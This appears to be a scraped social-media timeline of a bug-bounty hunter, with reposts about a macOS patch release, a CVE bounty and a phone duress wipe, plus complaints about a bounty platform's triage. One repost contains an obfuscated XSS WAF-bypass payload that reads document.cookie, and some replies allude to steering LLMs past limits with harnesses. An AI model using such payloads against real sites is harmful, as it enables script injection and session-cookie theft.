Titsec

I respect technology, and it fears me back.

[Arin Waichulis @arinwaichulis]

Holy dogcow! macOS 26.6 patches 155 vulnerabilities

Seeing a ton of AI research adjacent people and labs being credited, if that tells you anything

[Franco Belman @0xFBFBFBFB]

Apple credited me today for CVE-2026-64747, a vulnerability in AVEVideoEncoder affecting macOS/iOS. It earned a $60K accelerated bounty after I captured an Apple Target Flag.

Write-up coming soon.

[vxdb @vxdb]

Federal agents in Atlanta stopped a guy at the airport, forced him to unlock his phone, and it self-wiped using GrapheneOS's built-in duress feature

The DOJ is now charging him with destroying evidence

[Titsec @TitsecOP]

@D0rkerDevil Another guy who likes my username is hitting lit.

[Bug Bounty Insights 🪄 @bbr_bug]

Most bug hunters stop at X-Forwarded-Host and wonder why their cache poisoning reports get $500.

Someone spent 6 months studying CDN architectures.

Here's what separates $500 reports from $10,000+ critical findings:
🧵👇

[Titsec @TitsecOP]

@uphiago @intigriti Done, thanks.

[Titsec @TitsecOP]

@_jensec Specially when a harness holds the stallion in the right direction. The LLM neighs too like a good girl.

[Titsec @TitsecOP]

@uphiago @intigriti LMK if you are open to fair details what is the issue with this repo, open to send it in a personal.

[Titsec @TitsecOP]

@elder_plinius This is where it goes down and dirty, others might ditch you.

[Titsec @TitsecOP]

@0xmicho1 DOPE

[0xmicho 🇵🇸 🔻 @0xmicho1]

xss waf bybass

the payload:

micho',%20x:self[String.fromCharCode(112,114,111,109,112,116)](document[String.fromCharCode(99,111,111,107,105,101)]),%20y:'

#bugbounty

[Titsec @TitsecOP]

@0xmicho1 Uniqlo will get duplicate with me, also are you able to do something with that kubernetes infra

[Titsec @TitsecOP]

@0xkyotozx and checkout my wall, and there i provided a critical to a platform and they are just juggling the report in the air past one month without being able to skillfully reproduce it. I had to reach out to platform's program on the social media to get to speak with them

[Titsec @TitsecOP]

@intigriti @NVIDIAPSIRT It's a critical, flaw and moreover to this support and meditation has been raised thrice. To which, they haven't been much helpful.

[Titsec @TitsecOP]

@intigriti what's wrong with the triage, why would your units find it so hard to reproduce bugs and request to rereport it in the fresh chain of thread? Meditation/Support is ambigious too.

[Titsec @TitsecOP]

@intigriti @NVIDIAPSIRT this directly concerns you

[Titsec @TitsecOP]

@roohaa_n hackerone triage intakes, not psa's have lost the trust.

[Titsec @TitsecOP]

@rootsud0 @deepseek_ai with no denial to your claim, i think the right harness and a careful loop to prompt mix can minimalise thids result for you through any model even if it is remotely capable to handle it.